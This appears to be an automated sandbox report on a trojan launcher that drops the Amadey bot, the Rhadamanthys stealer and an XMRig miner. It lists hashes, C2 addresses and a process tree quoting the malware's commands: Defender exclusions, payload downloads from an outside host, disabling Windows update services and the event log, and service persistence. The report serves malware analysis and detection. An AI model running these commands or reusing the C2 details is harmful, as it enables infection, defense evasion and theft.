amadey | 9bff935ec8c2618fe262d931924c031e18eee550d9701e3cfb83c07918fd02ce

Resubmissions

28-08-2024 22:02

240828-1x98aszhnk 10

27-08-2024 12:22

240827-pjyrkazgmh 10

Analysis

max time kernel
149s
max time network
146s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
27-08-2024 12:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Launcher.exe
Size

364KB
MD5

93fde4e38a84c83af842f73b176ab8dc
SHA1

e8c55cc160a0a94e404f544b22e38511b9d71da8
SHA256

fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03
SHA512

48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec
SSDEEP

6144:MpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrqH1JWP6f:Mp8KLBzQ7Lcf3SiQs2FTTql9unNrkvT2

Score

10^/10

amadey rhadamanthys xmrig 3dae01 discovery evasion execution miner persistence stealer trojan upx

Malware Config

Extracted

Family

rhadamanthys

https://45.159.188.37:443/44194499adc4d2b753ee/gcj8ajmp.qnu3f

Extracted

Family

amadey

Version

4.41

Botnet

3dae01

http://185.208.158.116

http://185.209.162.226

http://89.23.103.42

Attributes

install_dir
239f17af5a
install_file
Hkbsse.exe
strings_key
91a6d9abcd7a774809c7ff7ced665178
url_paths
/hb9IvshS01/index.php

/hb9IvshS02/index.php

/hb9IvshS03/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

rhjryjyj.exe

description	pid	Process	procid_target
PID 684 created 1204	684	rhjryjyj.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 9 IoCs

miner

Processes:

resource	yara_rule
behavioral3/memory/2384-617-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-618-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-620-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-624-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-623-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-622-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-621-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-625-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral3/memory/2384-626-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
1504	powershell.exe
1620	powershell.exe
1680	powershell.exe
1016	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

UPX packed file 17 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral3/files/0x000400000001dd10-531.dat	upx
behavioral3/memory/876-548-0x0000000140000000-0x0000000140E3D000-memory.dmp	upx
behavioral3/memory/2688-600-0x0000000140000000-0x0000000140E3D000-memory.dmp	upx
behavioral3/memory/2384-614-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-612-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-613-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-615-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-617-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-616-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-618-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-620-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-624-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-623-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-622-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-621-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-625-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral3/memory/2384-626-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

Processes:

flow	ioc
26	raw.githubusercontent.com
27	raw.githubusercontent.com
28	bitbucket.org
29	bitbucket.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid	Process
2192	powercfg.exe
1572	powercfg.exe
2836	powercfg.exe
2620	powercfg.exe
2860	powercfg.exe
2816	powercfg.exe
812	powercfg.exe
1604	powercfg.exe

Drops file in System32 directory 4 IoCs

Processes:

powershell.exe2plugin27724powershell.exekuytqawknxye.exe

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	2plugin27724
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	kuytqawknxye.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

2plugin27724kuytqawknxye.exe

pid	Process
876	2plugin27724
876	2plugin27724
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

kuytqawknxye.exe

description	pid	Process	procid_target
PID 2688 set thread context of 1856	2688	kuytqawknxye.exe	106
PID 2688 set thread context of 2384	2688	kuytqawknxye.exe	109

Drops file in Windows directory 3 IoCs

Processes:

3plugin29563wusa.exewusa.exe

description	ioc	Process
File created	C:\Windows\Tasks\Hkbsse.job	3plugin29563
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Executes dropped EXE 14 IoCs

Processes:

Launhcer.exeLauncher.exewget.exewinrar.exerhjryjyj.exewget.exewinrar.exe2plugin27724wget.exewinrar.exe3plugin29563Hkbsse.exekuytqawknxye.exe

pid	Process
1772	Launhcer.exe
2676	Launcher.exe
1580	wget.exe
1668	winrar.exe
684	rhjryjyj.exe
2200	wget.exe
2868	winrar.exe
876	2plugin27724
2092	wget.exe
1816	winrar.exe
2628	3plugin29563
2168	Hkbsse.exe
480
2688	kuytqawknxye.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	Process
2576	sc.exe
2972	sc.exe
1240	sc.exe
1552	sc.exe
2448	sc.exe
1740	sc.exe
2376	sc.exe
2516	sc.exe
1788	sc.exe
1608	sc.exe
2488	sc.exe
792	sc.exe
1272	sc.exe
2004	sc.exe

Loads dropped DLL 20 IoCs

Processes:

Launcher.exepowershell.exeLauncher.exe3plugin29563

pid	Process
2332	Launcher.exe
1016	powershell.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2676	Launcher.exe
2628	3plugin29563
2628	3plugin29563
480

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

wget.exe3plugin29563cmd.exepowershell.exewget.exewinrar.exeHkbsse.exeLauncher.exepowershell.exewget.exewinrar.exerhjryjyj.exeLaunhcer.exeLauncher.exedialer.exewinrar.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3plugin29563
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rhjryjyj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dialer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

wget.exewget.exewget.exe

pid	Process
1580	wget.exe
2200	wget.exe
2092	wget.exe

Modifies data under HKEY_USERS 6 IoCs

Processes:

dwm.exepowershell.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CRLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\ROOT\CTLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = e0d79ee47bf8da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dwm.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exerhjryjyj.exedialer.exe2plugin27724powershell.exekuytqawknxye.exepowershell.exedwm.exe

pid	Process
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe
1504	powershell.exe
684	rhjryjyj.exe
684	rhjryjyj.exe
2420	dialer.exe
2420	dialer.exe
2420	dialer.exe
2420	dialer.exe
876	2plugin27724
876	2plugin27724
1620	powershell.exe
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
876	2plugin27724
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
1680	powershell.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2688	kuytqawknxye.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe
2384	dwm.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exedwm.exe

description	pid	Process
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeShutdownPrivilege	1604	powercfg.exe
Token: SeShutdownPrivilege	2192	powercfg.exe
Token: SeShutdownPrivilege	1572	powercfg.exe
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeShutdownPrivilege	2836	powercfg.exe
Token: SeShutdownPrivilege	2816	powercfg.exe
Token: SeShutdownPrivilege	2620	powercfg.exe
Token: SeShutdownPrivilege	2860	powercfg.exe
Token: SeLockMemoryPrivilege	2384	dwm.exe

Suspicious use of FindShellTrayWindow 10 IoCs

Processes:

wget.exewinrar.exewget.exewinrar.exewget.exewinrar.exe3plugin29563

pid	Process
1580	wget.exe
1668	winrar.exe
1668	winrar.exe
2200	wget.exe
2868	winrar.exe
2868	winrar.exe
2092	wget.exe
1816	winrar.exe
1816	winrar.exe
2628	3plugin29563

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Launcher.exeLaunhcer.exepowershell.exeLauncher.exerhjryjyj.exe

description	pid	Process	procid_target
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 2332 wrote to memory of 1772	2332	Launcher.exe	31
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1772 wrote to memory of 1016	1772	Launhcer.exe	32
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 1016 wrote to memory of 2676	1016	powershell.exe	34
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1504	2676	Launcher.exe	35
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1580	2676	Launcher.exe	37
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 1668	2676	Launcher.exe	39
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 684	2676	Launcher.exe	40
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 2676 wrote to memory of 2200	2676	Launcher.exe	41
PID 684 wrote to memory of 2420	684	rhjryjyj.exe	43
PID 684 wrote to memory of 2420	684	rhjryjyj.exe	43
PID 684 wrote to memory of 2420	684	rhjryjyj.exe	43
PID 684 wrote to memory of 2420	684	rhjryjyj.exe	43

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\Launcher.exe
  "C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2332
- - C:\Users\Admin\AppData\Roaming\services\Launhcer.exe
    "C:\Users\Admin\AppData\Roaming\services\Launhcer.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "$AdminRightsRequired = $true function Get-Win { while ($true) { # if ($AdminRightsRequired) { # try { Start-Process -FilePath '.\data\Launcher.exe' -Verb RunAs -Wait # break } catch { Write-Host 'Error 0xc0000906' } } else { # break } } } Get-Win"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1016
    - - C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe
        
        "C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2676
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath $env:ProgramData, $env:AppData, $env:SystemDrive\ "
        6⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1504
      - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/1/1 -P C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1580
      - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\01*.* "1\*" C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1668
      - C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe
        
        "C:\Users\Admin\AppData\Roaming\services\1\rhjryjyj.exe"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:684
      - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/2/1 -P C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2200
      - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\02plugins*.* "2plugin*" C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2868
      - C:\Users\Admin\AppData\Roaming\services\2plugin27724
        
        C:\Users\Admin\AppData\Roaming\services\2plugin27724
        6⤵
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:876
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1620
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        7⤵
        
        PID:2284
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        Drops file in Windows directory
        
        PID:2464
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        7⤵
        Launches sc.exe
        
        PID:2516
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        7⤵
        Launches sc.exe
        
        PID:2448
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        7⤵
        Launches sc.exe
        
        PID:1552
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        7⤵
        Launches sc.exe
        
        PID:1740
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        7⤵
        Launches sc.exe
        
        PID:2376
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        7⤵
        Power Settings
        
        PID:812
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1572
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2192
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        7⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1604
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "OZLCSUZD"
        7⤵
        Launches sc.exe
        
        PID:1608
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "OZLCSUZD" binpath= "C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe" start= "auto"
        7⤵
        Launches sc.exe
        
        PID:2488
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        7⤵
        Launches sc.exe
        
        PID:2576
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "OZLCSUZD"
        7⤵
        Launches sc.exe
        
        PID:792
      - C:\Users\Admin\AppData\Roaming\services\wget.exe
        
        "C:\Users\Admin\AppData\Roaming\services\wget.exe" ping --content-disposition https://buscocurro.com/3/1 -P C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2092
      - C:\Users\Admin\AppData\Roaming\services\winrar.exe
        
        "C:\Users\Admin\AppData\Roaming\services\winrar.exe" x -y -pjryj2023 C:\Users\Admin\AppData\Roaming\services\03plugins*.* "3plugin*" C:\Users\Admin\AppData\Roaming\services
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:1816
      - C:\Users\Admin\AppData\Roaming\services\3plugin29563
        
        C:\Users\Admin\AppData\Roaming\services\3plugin29563
        6⤵
        Drops file in Windows directory
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe
        
        "C:\Users\Admin\AppData\Local\Temp\239f17af5a\Hkbsse.exe"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2168
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /K rd /s /q "C:\Users\Admin\AppData\Roaming\services" & EXIT
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2140
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2420

C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
C:\ProgramData\cwsdjtkixutq\kuytqawknxye.exe
1⤵
- Drops file in System32 directory
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2688
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2840
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:1716
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2972
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1788
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1272
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2004
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1240
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2836
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2816
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:2620
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1856
- C:\Windows\system32\dwm.exe
  dwm.exe
  2⤵
  - Modifies data under HKEY_USERS
